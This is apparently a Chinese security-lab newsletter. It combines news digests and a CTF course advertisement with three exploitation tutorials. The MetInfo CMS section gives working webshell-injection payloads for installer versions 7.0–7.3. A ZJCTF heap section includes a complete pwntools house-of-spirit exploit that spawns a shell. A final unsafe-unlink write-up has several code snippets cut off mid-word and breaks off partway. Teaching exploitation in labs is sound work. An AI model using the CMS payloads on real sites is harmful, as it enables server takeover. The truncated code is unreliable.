网络安全日报 2021年06月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、影响所有 Windows 的 CVE-2021-1675 RCE PoC 在线发布
https://securityaffairs.co/wordpress/119502/hacking/2021-1675-rce-poc.html
2、Linux 版本的 REvil 勒索软件以 ESXi 虚拟机为目标
https://securityaffairs.co/wordpress/119497/cyber-crime/revil-ransomware-linux.html
3、研究人员为 Lorenz 勒索软件开发了免费解密器
https://securityaffairs.co/wordpress/119492/cyber-crime/lorenz-ransomware-free-decryptor.html
4、Malvuln 项目在恶意软件中发现 260 个漏洞
https://www.securityweek.com/malvuln-project-catalogues-260-vulnerabilities-found-malware5、谷歌宣布针对 Google Play 开发者帐户新的安全措施
https://www.securityweek.com/new-security-measures-announced-google-play-developer-accounts
6、Phoenix Contact多款工业产品存在高危漏洞
https://www.securityweek.com/high-severity-vulnerabilities-found-several-phoenix-contact-industrial-products
7、联合国安理会首次举行关于网络安全的公开会
https://www.securityweek.com/un-security-council-confronts-growing-threat-cyber-attacks
8、未修补的虚拟机接管漏洞影响 Google Compute Engine
https://thehackernews.com/2021/06/unpatched-virtual-machine-takeover-bug.html
9、Zzoomm互联网服务提供商遭遇DDoS攻击
https://www.technadu.com/uk-isp-zzoomm-hiy-ddos-actors-suffered-service-disruption/286118/
10、以色列AcadeME网站泄露约28万学生的信息
https://www.jpost.com/israel-news/details-of-over-200000-students-leaked-in-cyberattack-672179
2021年网络安全高级研修班·第二期 邀请函
为深入贯彻网络强国战略思想,落实“十四五”规划和2035年远景目标纲要对网安工作的重要部署,加强网络安全关键技术研发、技术创新,加强网络安全宣传教育和人才培养,加强网络安全保障体系和能力建设,全面提升网络安全产业综合竞争力。特针对CTF竞赛、CTF实战训练等热点需求,举办此次“2021年网络安全高级研修班”。
一、会议组织
指导单位:
中国网络空间安全人才教育论坛
主办单位:
湖南蚁景科技有限公司
二、会议内容
本次会议将从CTF竞赛新发展及战队训练方法展开,主要针对CTF竞赛的Web安全方向实战实训,内容涵盖CTF常考题型、CTF Web安全常见工具与执行、CTF SQL注入详解、CTF真题亲历与实战演练等。
专题报告部分:邀请国内知名网安战队指导老师就“CTF竞赛新发展及战队训练方法”等进行交流报告。
CTF常考题型:密码(CRYPTO)题型;逆向(REVERSE)题型;PWN题型;杂项(MISC)题型;实战RW题型;安全新场景题型。
CTF Web安全常见工具与执行:涵盖Web安全介绍、Web常见的套路(HTTP基础)、Webshell介绍、webshell工具使用、命令执行代码审计等。
CTF SQL注入详解:涵盖SQL注入基础语法、 联合查询注入/盲注、宽字节注入,堆叠注入、SQL注入真题讲解等。
CTF真题亲历与实战演练:常规SSRF利用,SSRF攻击redis等、SSRF真题讲解、CTF比赛、CTF比赛题目讲解等。
三、参会对象
全国高校、职业院校计算机相关专业(信息安全、计算机科学与技术、网络安全、信息科学与工程、软件工程、网络工程等)学科带头人、专业骨干教师、实验室人员参加。
四、参会收获
1、了解CTF竞赛新发展及战队训练方法,进行交流。
2、掌握CTF常用工具及使用实战技能,熟悉CTF常考题型。
3、了解CTF最新发展动态,亲历CTF真题与实战演练。
4、获得由中国网络空间安全人才教育论坛颁发的证书。
五、会议安排
1、会议方式:线下开展
2、报到时间:2021年7月26日全天
3、会议时间:2021年7月27日-7月31日
4、报到地点:湖南长沙
5、会议地点:湖南长沙
6、会议规模:50人
六、会议报名
1、报名时间:即日起至2021年7月16日
2、报名邮箱:EDU@antvsion.com
3、电话咨询:宋老师 136 5741 3038
4、培训费:3680元/人(含培训资料,参会人员路费和食宿费用自理,老师需自带电脑)
5、付款方式:
◆ 线上汇款:请务必在备注栏里注明“学校名+参会者姓名”公司名称:湖南蚁景科技有限公司开户行名称:北京银行长沙麓谷支行开户行账号:2000 0044 8649 0003 6286 388◆ 现场缴费:现金、扫码或刷卡(银行卡、公务卡均可)
具体课程内容
扫描下方二维码即可报名
米拓建站系统1day审计与利用
Metinfocms命令执行
前话:
米拓企业建站系统是一款由长沙信息科技有限公司自主研发的免费开源企业级CMS,该系统拥有大量的用户使用,及对该款cms进行审计,如果利用CNVD-2021-01930进行进一步深入,其危害的严重性可想而知。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID269f-6dc2-4412-bbad-a27109b207cf (通过该实验掌握MetInfo SQL注入漏洞的原因和利用方法,以及如何修复该漏洞。)
审计过程:
1. Index:拿到源码先看根目录的index.php看看都包含(加载)了什么文件。
2. 关键词:在/app/system/entrance.php看到了配置文件的定义,全局搜索这个
’PATH_CONFIG‘参数。
全局搜索并找到install/index.php文件下有这个参数,点击跟进查看。
在这个文件的219行有个是接收db数据库参数的方法。
官方说明“$_M”数组:https://doc.metinfo.cn/dev/basics/basics75.html
这里是接收from数据的db_prefix参数。也就是“数据表前缀”内容的值。
往下发现是直接写入tableper然后赋值给config变量。
并在264行fopen打开/config/config_db.php进行没有安全过滤的字节流(fputs)方式的写入。
影响版本:7.3.0 - 7.0.0
一、进行7.3.0安装步骤,访问http://127.0.0.1/install/index.php
二、选中传统安装继续下一步
三、数据库信息进行写shell
代码执行Payload:"*/@eval($_GET['1']);/*
命令执行Payload:"*/@system($_GET['1']);/*
代码执行:
点击保存进行下一步验证,出现这报错信息,可以查看config\config_db.php文件。
成功写入
命令执行:
7.0.0版本:
7.1.0版本:
Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*
7.2.0版本:
Payload:"*/@eval($_GET['1']);@system($_GET['2']);/*
网络安全日报 2021年06月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、微软调查分发恶意 Netfilter 驱动程序的攻击者
https://securityaffairs.co/wordpress/119476/malware/netfilter-driver-microsoft-attack.html
2、Babuk Locker 勒索软件构建器在线泄露
https://securityaffairs.co/wordpress/119467/cyber-crime/babuk-locker-ransomware-builder.html
3、ATM的NFC系统和POS中存在一个严重漏洞
https://gbhackers.com/researcher-managed-to-hack-atms/
4、新闻阅读器NewsBlur遭黑客入侵数据被清除
https://www.securityweek.com/newsblur-restores-service-after-hacker-wipes-database
5、Edge修复了UXSS高危漏洞
https://thehackernews.com/2021/06/microsoft-edge-bug-couldve-let-hackers.html
6、Mozilla 推出注重隐私的数据共享研究平台-Rally
https://www.securityweek.com/mozilla-launches-privacy-focused-browsing-data-sharing-platform
7、Google 计划推动 OSV采用统一规范的数据格式
https://security.googleblog.com/2021/06/announcing-unified-vulnerability-schema.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+GoogleOnlineSecurityBlog+%28Google+Online+Security+Blog%29&&
8、NVIDIA 修补GeForce软件中的高危性欺骗攻击漏洞
https://threatpost.com/nvidia-high-severity-geforce-spoof-bug/167345/
9、新闻阅读器NewsBlur遭黑客入侵数据被清除
https://www.securityweek.com/newsblur-restores-service-after-hacker-wipes-database
10、7 亿 LinkedIn 用户的数据在暗网论坛出售
https://threatpost.com/data-700m-linkedin-users-cyber-underground/167362/
GDB调试堆漏洞之house of spirit
何为house of spirit?
该技术出自于2005年的The Malloc Maleficarum这篇文章,是一种用于获得某块内存区域控制权的技术
例如一个位于fastbin的区块是不可控的,但是我们希望对其进行读写操作只需他刚好满足以下两个条件即可。
第一,改区域的前后内存可控(通俗来讲就是堆溢出)
第二,存在一个可控指针作为free()函数的参数(此处通俗讲就是控制chunk 的fd或者bk指针),通过堆排布,
伪造fake chunk让他进入到fastbins,下次我们用同样大小的内存申请一个chunk就可以把这个chunk取出
,从而得到控制权。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDf4f4-3f86-44b4-bd4c-e1c88520adde (在堆的情况下,当用户能够写入比预期更多的数据时,会发生内存损坏。通过本实验了解堆溢出,包括intra-chunk和inter-chunk两种类型,分别掌握其特点。)
今天我用一道例题来讲解如何从一个新手掌握GDB调试house of spirit的利用思想
题目:[ZJCTF 2019]EasyHeap
题目可在BUU上搜索得到
checksec如下
q@ubuntu:~/Desktop$ checksec easyheap
[*] '/home/q/Desktop/easyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
先看main函数里面一个点
v3==4869 然后magic>=0x1305就可以进入到后门
不过这个是假的后门远程没有这个路径
接着就是没用输出功能,可能会选择劫持stdout或者使用house of spirit
我们先继续分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
一个个函数看下去,发现漏洞点在edit那里
(create那的话 chunk大小没限制,可惜这里没有输出功能不然利用mmap的特性直接泄露libc也是可以的,如果还是想的话配合劫持stdout也可以,只不过过于麻烦)
漏洞如下这小部分代码,堆的大小创建后不可更改,但是他可以更改输入内容的大小,意味着这里存在堆溢出
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
edit()
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
整合信息(前置知识fastbin attack+unsortedbin)
(简单的说就是如下这样)
其中①②③⑧⑨是fastbin attack需要做的,④⑤⑥⑦是unsortedbin attack需要做的:
①malloc fastchunk 0x70。
②free掉fastchunk。
③将fastchunk的fd变为target。
④malloc 0x100。
⑤free 0x100。
⑥change 0x100+0x8的位置改为target(就是bk的位置)。
⑦malloc 0x100,此时arena的地址被写入target中去了。
⑧malloc 0x70,将第一次malloc的堆块取出来,使fastbin中只有target。
⑨再次malloc 0x70 ==>就是取出target。
结论:
上面简单分析了下,我们有了堆溢出,有了system函数和free()函数,对于house of spirit 来说是完美条件
可以利用堆溢出进行构造fake chunk进而修改该chunk的fd或者bk指针,顺带写入/bin/sh
接下来利用house of spirit去更改free的got表指向system的plt,最后执行free就可以getshell
下面进行详细的分析
详细解答
那么我们可以从构造fake chunk控制堆的任意内容
(prev_size,fd,bk,堆的输入内容)
我们先来看下正常的chunk长什么样子
(部分脚本,脚本后面就是chunk)
from pwn import *
context.log_level = 'debug'
def pause_debug():
log.info(proc.pidof(p))
pause()
def create(size, content):
p.sendlineafter('choice :', str(1))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap:', content)
def edit(idx, size, content):
p.sendlineafter('choice :', str(2))
p.sendlineafter('Index :', str(idx))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap :', content)
def delete(idx):
p.sendlineafter('choice :', str(3))
p.sendlineafter('Index :', str(idx))
proc_name = './easyheap'
p = process(proc_name)
#p = remote('node3.buuoj.cn', 27185)
elf = ELF(proc_name)
create(0x68, b'woaini') # 0
create(0x68, b'a') # 1
create(0x68, b'a') # 2
gdb.attach(p)
chunk 我们先找到我们存放输入内容的地方,我们刚才创建的堆的大小都是0x70的
但是实际上我们没有那么多空间可以利用的,在0x2545070此处存放的是chunk的大小
下面的地方0x2545070 前面8个字节存放fd(前驱)指针,后面八个字节存放bk(后继)指针
(这里先说个思维,逆向思维!非常重要是做pwn题目的基础。 这里的堆的结构体是最基础的只有一项内容,要是多来几项呢?
比如 一本书的ID 名字 内容等等,他在gdb调试后所呈现的具体存放位置关系是怎么样的呢,我们要如何才能修改都是需要从ida里面逆向分析得到在利用gdb调试获取信息 这里推荐一道buu的题目关于
off by null的知识点的但是如果你成功的攻破后,逆向能力会有不小的提升
题目: asis2016_b00ks
pwndbg> search woaini
[heap] 0x2545010 0x696e69616f77 /* 'woaini' */
warning: Unable to access 16000 bytes of target memory at 0x7f810c08ed05, halting search.
pwndbg> x/32gx 0x2545010
0x2545010: 0x0000696e69616f77 0x0000000000000000
0x2545020: 0x0000000000000000 0x0000000000000000
0x2545030: 0x0000000000000000 0x0000000000000000
0x2545040: 0x0000000000000000 0x0000000000000000
0x2545050: 0x0000000000000000 0x0000000000000000
0x2545060: 0x0000000000000000 0x0000000000000000
0x2545070: 0x0000000000000000 0x0000000000000071
0x2545080: 0x0000000000000061 0x0000000000000000
上面我们讲了正常的堆块的模样,下面我们来对他进行修整,做成我们的fake chunk
为了让这个fake chunk被检测机制所认可,这里我们需要修改prev_size令他等于1
也就是找到存放0x7f的地址我们可以从IDA里面先看看然后配合GDB去寻找
IDA的chunk开始的地方在该程序里面叫heaparray
我们向上寻找,从尾地址为A0的地方开始到B0夹杂着libc
我们都明白libc的开头就是0X7f 那么我们可以不限麻烦的在gdb从0x6020A0开始往下面开
最后发现在本程序中0x6020AD的内容就是0x7f
(输入命令x/32gx 0x6020AD)
.bss:00000000006020A0 ; ===========================================================================
.bss:00000000006020A0
.bss:00000000006020A0 ; Segment type: Uninitialized
.bss:00000000006020A0 ; Segment permissions: Read/Write
.bss:00000000006020A0 _bss segment align_32 public 'BSS' use64
.bss:00000000006020A0 assume cs:_bss
.bss:00000000006020A0 ;org 6020A0h
.bss:00000000006020A0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:00000000006020A0 public stdout@@GLIBC_2_2_5
.bss:00000000006020A0 ; FILE *stdout
.bss:00000000006020A0 stdout@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400410↑o
.bss:00000000006020A0 ; main+17↑r
.bss:00000000006020A0 ; Alternative name is 'stdout'
.bss:00000000006020A0 ; Copy of shared data
.bss:00000000006020A8 align 10h
.bss:00000000006020B0 public stdin@@GLIBC_2_2_5
.bss:00000000006020B0 ; FILE *stdin
.bss:00000000006020B0 stdin@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400428↑o
.bss:00000000006020B0 ; main+35↑r
.bss:00000000006020B0 ; Alternative name is 'stdin'
.bss:00000000006020B0 ; Copy of shared data
.bss:00000000006020B8 completed_7594 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:00000000006020B8 ; __do_global_dtors_aux+13↑w
.bss:00000000006020B9 align 20h
.bss:00000000006020C0 public magic
.bss:00000000006020C0 magic dq ? ; DATA XREF: main:loc_400D05↑r
.bss:00000000006020C8 align 20h
.bss:00000000006020E0 public heaparray
.bss:00000000006020E0 ; void *heaparray
.bss:00000000006020E0 heaparray dq ? ; DATA XREF: create_heap+30↑r
.bss:00000000006020E0 ; create_heap+8C↑w ...
(包含0x7f结尾的)
pwndbg> x/32gx 0x6020AD
0x6020ad: 0x07fea398e0000000 0x000000000000007f
0x6020bd: 0x0000000000000000 0x0000000000000000
下面上构造fake chunk 的脚本
delete(2)
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
gdb.attach(p)
create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()
我们这里的fake chunk选的是chunk 1 释放chunk2是为了让他的fd指针指向chunk1
接着利用如下语句,写入内容的大小改为0x78(实际上大小为0x70),然后传入/bin/sh后填充\x00到达我们的chunk size保持大小不变依然是0x71,接着传入0x6020ad也就是上面提到的0x7f的地址为了让这个chunk1 fake chunk被程序检测所认可
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
下面我们来看看修改好的QWQ
为什么是0x68,gdb已经给我们很好的结果了。/bin/sh占位就是8个字节(0x0068732f6e69622f),我们从0x80到0xe0共计0x60加上0x80后面的0x88那部分空白合并起来就是0x68了 然后传入0x71和0x6020ad 我们的fake chunk就好了
pwndbg> search /bin/sh
[heap] 0x1be8080 0x68732f6e69622f /* '/bin/sh' */
libc-2.23.so 0x7f355118be57 0x68732f6e69622f /* '/bin/sh' */
warning: Unable to access 16000 bytes of target memory at 0x7f35511c6d06, halting search.
pwndbg> x/32gx 0x1be8080
0x1be8080: 0x0068732f6e69622f 0x0000000000000000
0x1be8090: 0x0000000000000000 0x0000000000000000
0x1be80a0: 0x0000000000000000 0x0000000000000000
0x1be80b0: 0x0000000000000000 0x0000000000000000
0x1be80c0: 0x0000000000000000 0x0000000000000000
0x1be80d0: 0x0000000000000000 0x0000000000000000
0x1be80e0: 0x0000000000000000 0x0000000000000071
0x1be80f0: 0x00000000006020ad 0x0000000000000000
fake chunk一号准备完成
下面我们改free的got表为system的plt表,(不理解什么是got和plt的可以去康康知乎上的文章,简单说就是plt寻址got,然后got寻址真正地址去执行函数,我们在这把free的got改成system的plt)之后咋们执行free操作就是相当于执行system操作了
为什么是0x23大小的junk数据传入?
create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()
这里可以用GDB调试来看下(做pwn题离不开GDB的调试必须要有耐心)
pwndbg> search ccccccccc
easyheap 0x6020bd 0x6363636363636363 ('cccccccc')
easyheap 0x6020c6 0x6363636363636363 ('cccccccc')
easyheap 0x6020cf 0x6363636363636363 ('cccccccc')
warning: Unable to access 16000 bytes of target memory at 0x7f50d863ed08, halting search.
pwndbg> x/32gx 0x6020bd
0x6020bd: 0x6363636363636363 0x6363636363636363
0x6020cd: 0x6363636363636363 0x6363636363636363
0x6020dd: 0x0000602018636363 0x0001dd8080000000
0x6020ed <heaparray+13>: 0x0001dd80f0000000 0x00006020bd000000
0x6020fd <heaparray+29>: 0x0000000000000000 0x0000000000000000
0x60210d <heaparray+45>: 0x0000000000000000 0x0000000000000000
0x60211d <heaparray+61>: 0x0000000000000000 0x0000000000000000
0x60212d <heaparray+77>: 0x0000000000000000 0x0000000000000000
可以看见在0x6020dd上有我们传入的got表0x0000602018
我们再看看heaparray上的数据内容
pwndbg> x/32gx 0x6020ed-13
0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080
0x6020f0 <heaparray+16>: 0x0000000001dd80f0 0x00000000006020bd
0x602100 <heaparray+32>: 0x0000000000000000 0x0000000000000000
0x602110 <heaparray+48>: 0x0000000000000000 0x0000000000000000
0x602120 <heaparray+64>: 0x0000000000000000 0x0000000000000000
0x00000000006020bd该地址指向我们的chunk3存放的内容
0x0000000001dd80f0该地址为指向我们的chunk3存放的内容的地址
其真实起始点地址是0x1dd80e0 如下
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd8000
Size: 0x71
Allocated chunk | PREV_INUSE
Addr: 0x1dd8070
Size: 0x71
Allocated chunk | PREV_INUSE #chunk3
Addr: 0x1dd80e0
Size: 0x71
Top chunk | PREV_INUSE
Addr: 0x1dd8150
Size: 0x20eb1
而heaparray
0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080
指向我们的free()的got表
关于为什么选择edit(0, 0x8, p64(elf.plt['system']))这样传入并没有太多用意,p64(elf.plt['system'])刚好八个字节
这里篇幅有限,若有兴趣可以寻找资料学习
EXP:
from pwn import *
context.log_level = 'debug'
def pause_debug():
log.info(proc.pidof(p))
pause()
def create(size, content):
p.sendlineafter('choice :', str(1))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap:', content)
def edit(idx, size, content):
p.sendlineafter('choice :', str(2))
p.sendlineafter('Index :', str(idx))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap :', content)
def delete(idx):
p.sendlineafter('choice :', str(3))
p.sendlineafter('Index :', str(idx))
proc_name = './easyheap'
p = process(proc_name)
#p = remote('node3.buuoj.cn', 27185)
elf = ELF(proc_name)
create(0x68, b'woaini') # 0
create(0x68, b'a') # 1
create(0x68, b'a') # 2
#gdb.attach(p)
delete(2)
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
#gdb.attach(p)
create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()
心得简述:
做PWN题非常考验耐心与基础,IDA的逆向分析是最为主要的一步,一定要静下来看伪代码和汇编
有了多种思路不要嫌麻烦一定要上机去用GDB一步步调试。会了各种套路技巧固然厉害,但是没有牢固
的逆向基础和调试能力是走不远的。
网络安全日报 2021年06月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Crackonosh挖矿恶意软件感染了超22W台Windows系统
https://securityaffairs.co/wordpress/119450/malware/crackonosh-monero-miner.html
2、 黑客利用Cisco ASA XSS漏洞进行攻击
https://securityaffairs.co/wordpress/119442/hacking/cisco-asa-under-attack.html
3、微软发现与俄有关的 SolarWinds 黑客入侵了三个新实体
https://securityaffairs.co/wordpress/119425/apt/solarwinds-nobelium-ongoing-campaign.html
4、Hive勒索软件泄露了 Altus Group 公司数据
https://securityaffairs.co/wordpress/119418/cyber-crime/new-ransomware-group-hive-leaks-altus-group-sample-files.html
5、FortiWeb WAF修复了一个任意命令执行高危漏洞
https://securityaffairs.co/wordpress/119387/security/fortinet-fortiweb-waf-flaw.html
6、黑客利用 3 年前的漏洞擦除WD设备的数据
https://securityaffairs.co/wordpress/119392/iot/hackers-wipe-western-digital-devices.html
7、梅赛德斯-奔驰批量数据泄露
https://securityaffairs.co/wordpress/119436/data-breach/mercedes-benz-data-breach.html
8、攻击者利用ReverseRat针对南亚和中亚能源组织
https://blog.lumen.com/suspected-pakistani-actor-compromises-indian-power-company-with-new-reverserat/
9、攻击者可以利用One-Click攻击劫持Atlassian账户
https://thehackernews.com/2021/06/one-click-exploit-could-have-let.html
10、超过8亿条与WordPress用户相关的记录被泄露
https://www.infosecurity-magazine.com/news/cloud-database-exposes-800m/
堆利用之unsafe unlink
漏洞简介
glibc库中存在着unsafe unlink漏洞。主要原理是利用释放块时存在的安全检查缺陷,通过修改堆块的元数据信息,从而在free时修改堆指针。利用这一漏洞可以完成一次任意写操作。
本文以libc-2.27.so为例,结合一道pwn题目来介绍利用过程。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDc271-da53-4bd3-9b61-d59c3b9d3407 (本节课主要讲解objdump命令的使用和c语言函数调用约定,学会利用栈溢出漏洞改写函数指针变量和覆盖返回地址。)
程序checksec检查
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
题目源码分析
int main(){
int choice = 0; prepare();
while(1) {
choose_action(&choice);
switch (choice) {
case 1:
squeeze();
break;
case 2:
wash();
break;
case 3:
display();
break;
case 4:
mix();
break;
case 5:
insepct();
break;
default:
puts("Nah... You just cannot do this :( ");
exit(0); } } return 0;}
主函数是菜单,choose_action只是简单读入整数以进行选择,此处不再赘述。
void squeeze(){ int i; struct palette* tmp; for(i = 0; i < COLOR_NUM; i++) { if (!your_palette[i]) { puts("Found some free space for you!"); break; } } if (i == COLOR_NUM) { puts("Your palette is full :("); exit(0); } tmp = mallo
squeeze函数用于申请新的块,并调用自定义make_component函数读入用户输入。其中your_palette及相关变量定义如下:
#define COLOR_NUM (4)#define COLOR_NAME (0x20)#define COLOR_COMPONENT (0x4d8) struct palette { char color[COLOR_NAME]; char ingredient[COLOR_COMPONENT];}*your_palette[COLOR_NUM]; long secret_button = 0;
make_component函数定义如下。该函数根据传入的长度,逐字节读入用户输入,检测到换行符或是达到最大长度后即把最后一个字符改为’\0’。
void make_component(char* ptr, int len){ if (0 == len) { return; } char c; int i = 0; while ( i < len ) { read(0, &c, 1); if ( c == '\n' ) { ptr[i] = 0; return; } ptr[i++] = c; } ptr[i] = 0;}
乍看之下没有什么问题,但是当读入的数据达到最大长度后会将ptr[len]处的数据修改为0,而这一地址属于理想的修改范围之外,因此产生off-by-null的漏洞。
void mix(){ int index; puts("Now input the color index:"); scanf("%d", &index); index--; if (0 <= index && index < COLOR_NUM) { if (your_palette[index]) { struct palette* ddl_ptr = your_palette[index]; puts("Please name youe color:"); make_comp
mix函数用于修改已经申请好的chunk,可以重新设置某一个palette的color段以及ingredient段。
void wash(){ int index; puts("Now input the color index:"); scanf("%d", &index); index--; if (0 <= index && index < COLOR_NUM) { if (your_palette[index]) { free(your_palette[index]); your_palette[index] = NULL; puts("Finish!"); retur
wash函数free掉了一个已经申请过的chunk,这也是unsafe unlink漏洞利用之处。这里需要注意的一点是标红处对数组进行赋NULL,因此排除了uaf的情况。
void insepct(){ if (secret_button) { puts("You've successfully broken the palette >_< "); system("/bin/sh"); } else { puts("You can explore your palette futher more :) "); } exit(0);}
inspect函数用于shell获取。当检查到全局变量secret_button不为0后,将调用/bin/sh。那么本题的目标至此已经显而易见了:通过wash函数的free触发漏洞,并通过mix函数修改全局变量secret_button为非零值,然后执行inspect函数来getshell。
相关知识补充
unsafe unlink漏洞是指由于程序设计不当、用户恶意输入,堆管理器在释放块的时候将前一个正在使用的块也视为已经被释放的块,从而也将它纳入空闲块管理中。以64位系统中glibc-2.27为例,一个chunk块的结构如下:
A区域(8字节):mchunk_prev_sizeB区域(8字节):mchunk_sizeC区域(8字节):fdD区域(8字节):bkE区域(8字节):fd_nextsizeF区域(8字节):bk_nextsizel 其中B区域比较特殊。B区域用于表示该chunk的大小(单位为字节)。由于chunk必须16字节对齐,因此B区域的低3bits被设置为flag位,不影响chunk的大小。其中最低1bit为PREV_INUSE位,当设置为0时表示前一个chunk处于空闲状态。
l A区域用于表示前一个相邻的空闲chunk的大小。当PREV_INUSE置1时,这一区域被前一个chunk使用(称之为空间复用);当PREV_INUSE置0时,该区域才被这一个chunk使用,用于在free时获取前一个chunk的地址。
l B区域也是该chunk的元数据区域,从C区域开始为用户实际使用的数据区。当malloc获得块的时候,返回的指针就是指向C区域的。
l 而当该块处于空闲状态时,C、D区域用于构造空闲块的双向链表。C区域会被堆管理器自动设置为前向空闲块的地址,D区域被设置为后向空闲块的地址。对于large chunk而言,C、D区域用于指向大小相同的空闲块,E、F区域用于指向大小不同的空闲块。
glibc-2.27中对unlink的实现如下:
/* Take a chunk off a bin list */#define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ FD = P->fd; \ BK = P->bk; \
unlink是在释放某一块时调用的“函数”,本意是将空闲块进行合并形成双向链表,提高空间利用率,但是在安全检查方面存在一些漏洞。在利用过程中,需要绕过两处安全检查(标红和标蓝处)。简单来说,unlink的核心是检查当前块是否是合法的空闲块。其中参数P表示当前检查的、准备合并的“空闲”块。
l 标红处用于检查P的大小是否和下一块的prev_size段相等(即检查此块的B区域表示的大小和下一块的A区域的值是否相等)。
l 标蓝处用于检查P的前向块的后向块与P的后向块的前向块是否都指向P自己。
当两处检查均通过时,堆管理器会执行FD->bk = BK与BK->fd = FD,从而将P加入到双向链表中。因此,本题的核心在于如何绕过这两处检查。
漏洞利用
利用思路大致如下:
1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。
2、修改chunkA,在其中精巧地布置出一个chunkD。
3、释放chunkB,并让堆管理器unlink chunkD。
4、修改chunkA,写入任意地址。
5、修改chunkA,实现任意地址写。
ADD, FREE, SET, INSPECT = '1', '2', '4', '5'def operate(op, arg1='A', arg2='A', arg3='A'): global io io.recvuntil('e:\n') io.sendline(op) if op == '1': # squeeze() io.recvuntil('color:\n') if len(arg1) < 32: io.sendline(arg1) else: io.se
首先定义一个operate函数,用于处理各类请求信息,将squeeze、wash、mix重命名为经典的ADD、FREE、SET。接下来逐步进行利用:
1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。
operate(ADD) #chunkAoperate(ADD) #chunkBoperate(ADD) #chunkC
使用gdb查看内存情况:
之所以使用3个chunk,是为了防止free chunkB的时候其与top chunk合并。
然后以chunkA为例,查看它的内容:
可见该chunk大小为0x500、前一个chunk处于使用中。(之后的截图为多次运行程序所截,由于开启了ASLR,所以堆的地址会发生改变,但内容是一致的,不影响阅读)
2、修改chunkA,在其中精巧地布置出一个chunkD。
